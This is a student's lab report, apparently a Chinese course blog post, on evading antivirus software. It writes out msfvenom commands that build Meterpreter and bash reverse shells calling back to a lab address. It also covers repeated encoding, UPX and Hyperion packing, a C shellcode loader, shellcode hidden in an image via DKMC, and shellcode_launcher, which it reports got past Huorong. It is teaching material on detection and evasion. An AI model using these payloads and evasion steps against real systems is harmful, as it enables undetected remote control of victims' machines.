20192424王昭云实践三免杀原理与实践

Exp3 免杀原理与实践(20192424王昭云)

一、实践要求

1. 方法

  • ①正确使用msf编码器
  • ②msfvenom生成如jar之类的其他文件
  • ③veil
  • ④加壳工具
  • ⑤使用C + shellcode编程
  • ⑥使用其他课堂未介绍方法

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验内容

②msfvenom生成如jar之类的其他文件

  • 生成Java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 x> 20192424_ja.jar

    • LFGs1O.jpg
  • 可以观察到,查杀率比简单编码方式要好些,但依然不乐观

    • LFGRHA.jpg
  • 生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.189.135 LPORT=1314 -f raw > 20192424.sh

    • LFGTgS.jpg
  • bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件,所以查杀率为0

    • LFGXEn.jpg
  • 使用msfvenom生成更多类型后门程序请参见该博客

③veil

  • veil的安装明明简单却过于费心,可以在kali上在线安装veil:sudo apt-get install veil-evasion

  • 安装完成后进入界面:veil

  • 使用veil-evasion: use 1

  • 可以观察到我们有41个payload,可以使用list 查看payload以及使用use 数字 选取对应的payload

  • 选取 powershell/meterpreter/rev_tcp:use 22

  • 设置反弹连接的参数:

  • ip: set LHOST 192.168.189.135

  • 端口: set LPORT 1314

  • 生成: generate

  • 文件名: 20192424

  • 对文件扫描,结果还是不如人意

④加壳工具

  • 对①中生成的程序进行压缩壳upx加壳: upx 20192424cd2.exe -o 20192424cd2.upxed.exe

  • 查杀如下

    • LkGkGV.jpg
  • 对①中生成的程序进行加密壳Hyperion加壳

    • 将要加密的程序复制到hyperion文件夹中:cp 20192424cd2.exe /usr/share/windows-resources/hyperion/20192424cd2.exe

    • 进入hyperion文件夹:cd /usr/share/windows-resources/hyperion/

    • 对程序进行加密壳:wine hyperion.exe -v 20192424cd2.exe 20192424cd2.upxed.Hy.exe

  • 查杀如下,有一定效果

    • LkG0it.jpg

⑥使用其他课堂未介绍方法

  • 下面介绍的DKMC方法是一种未成功免杀的方法,具体方法参考教程

  • 安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git

  • 使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f raw > 1314

    • LktKaj.jpg
  • 进入DKMC文件夹: cd /home/20192424wr/DKMC/

  • 执行: python dkmc.py

    • 此时遇到问题,看见print的括号报错,猜测是python2,3版本不兼容导致的

      • Lkt3R0.jpg
    • 用python2打开DCMK,成功解决问题

      • LktyQK.jpg
  • 在DKMC中输入选项: sc

  • 设置source: set source /home/20192424wr/1314

  • 生成shellcode: run

  • 返回主菜单: exit

  • 在DKMC中输入选项: gen

  • 设置shellcode: set shellcode .....(shellcode为run生成的shellcode)

  • 生成图像: run

    • LktHOS.jpg
  • 返回主菜单: exit

  • 在DKKMC中输入选项: ps

  • 设置url地址: set url http://192.168.189.135:8080/ .bmp(图片名为gen生成的图片名,可以手动重命名)

  • 生成bat文件: run

  • 返回主菜单: exit

  • 在DKKMC中输入选项: web

  • 设置端口: set port 8080

  • 启动web服务: run

  • 启动msfconsole

  • 将生成的bat文件在windows环境打开(或者命令提示符直接输入生成的powershell的代码)

    • kali截图

    • windows截图

      • LkatL8.png
  • 这种方法不能免杀

  • 关闭杀软的情况下,能成功回连

    • LktOoj.jpg
  • 这种将shellcode嵌入图片,通过网络分发的方法是课堂上没有提过的,失败的原因可能是因为企图调用powershell,而av和win10机制对这种行为极为敏感,所以难以达到免杀的目的,如果将文件后缀名bat取消是可以从虚拟机传到windows的,火绒应该是沙盒运行了一遍bat文件发现有端口被异常调用由此推测出是恶意代码。比如在windows接收文件时没有bat后缀,自己重命名是不会被检测出来的,除非运行程序。

①正确使用msf编码器

  • (1)将上一个实验中用msf生成的后门程序放到virustotal检测,发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。

  • (2)接下来我们开始使用msf编码器:

    • LF80SS.jpg
  • 查看可以进行的编码类型: msfvenom --list encoders

  • 使用 x86/shikata_ga_nai 方式进行编码

  • 1次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe

    • LF8zOH.jpg
  • 8次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.189.135 LPORT=1314 -f exe >20192424cd2.exe

    • LFGCTI.jpg
  • 将两次编码后的文件放到virustotal检测,结果依然没有太大变化

    • 第一次如下

      • LFGK7n.jpg
    • 第二次如下

      • LFGYX4.jpg
  • 综上,仅通过编码方式生成的payload是不可能做到免杀的

⑤使用C + shellcode编程

  • 使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.135 LPORT=1314 -f c

    • LkGIzT.jpg
  • 新建一个1314sc.c文件,将上面生成的buf[]代入,内部代码为:

    include <stdio.h>

    unsigned char buf[]=//生成的shellcode
    int main()
    {
    int (func)()=(int()())buf;//调用shellcode
    func();
    }

  • 安装mingw-w64: apt-get install mingw-w64

  • 使用mingw-w64将c文件生成exe文件: i686-w64-mingw32-g++ 1314sc.c -o 1314sc.exe

  • 对1314sc.exe检测一下,效果不错

    • LkYIrF.jpg
  • 按照实验二步骤尝试回连,发现回连成功,图为与火绒同时存在被查杀的

    • 通过C+shellcode被火绒查出来了

      • LkUoqS.png
  • 这两张图为kali下没使用火绒,使用火绒的截图

    • LkYeE9.jpg
    • LkNFw4.jpg

2.通过组合应用各种技术实现恶意代码免杀&3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址)

  • 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.189.135 lport=1314 -f raw -o 20192424.raw

    • Lkdc9A.jpg
  • 打开msfconsole进行监听:

  • use exploit/multi/handler //监听设置payload set payload

  • set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload

  • set LHOST 192.168.189.135 //Linux端的IP地址

  • set LPORT 1314 //与之前输入的端口号一致

  • exploit //开始监听

  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20192424.raw

    • Shellcode_laubcher关闭杀毒软件运行截图,成功连接

      • Lkd4HS.png
  • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20192424.raw通过检测

    • 打开火绒成功连接,没有被查杀

      • LkwFjx.png
  • Windows版本:Windows 10, version 1909,杀软:火绒5.0.40.12

三、基础问题回答

1.杀软是如何检测出恶意代码的?

  • (一)特征代码法:该方法是目前杀毒工具中必备的组成部分
  • (二)校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
  • (三)行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

2.免杀是做什么?

  • 免杀是逃避杀毒软件的检测,从而可以使其“正常运行”

3.免杀的基本方法有哪些?

  • (1)采用不同的编码方式,或者编码次数
  • (2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳
  • (3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤

4.开启杀软能绝对防止电脑中恶意代码吗?

  • 杀毒软件能提供可靠的下载源,能自动将下载软件与官网的hash比对,只要我们正确使用杀毒软件,不去乱七八糟的网页下载文件,合理开启防火墙,对杀毒软件警告的网页不轻易打开,就能防范大多数病毒。只要不乱下不明渠道的程序,怎么会中毒呢?黑客的尽头还得是社会工程学。

四、实验体会

这次实验中让我觉得最有趣的DKMC,它将恶意代码藏在了图片中,那么我们也可以将恶意代码藏在音频中,虽然这些图片没有自启动的能力,不过可以使用没有木马能力的exe程序去启动图片里的恶意代码,这样两个没有攻击性的文件组合在一起便是后门了。本次实验中,我认识到了hash的重要性,下载文件一定要与官网hash进行比对,否则后门可能被人别有用心地插入到了原本的程序中,难以察觉。除此,如果想要绕过hash认证,那么可以采取两种方法,一是篡改官网的hash,二是通过密码学的技术构造不同文件但是hash相同的字节流,构造仿制文件。对了,实验最后,我感觉其实加壳与编码原理差不多。

posted @ 2022-04-10 18:11  20192424WZY  阅读(148)  评论(0编辑  收藏  举报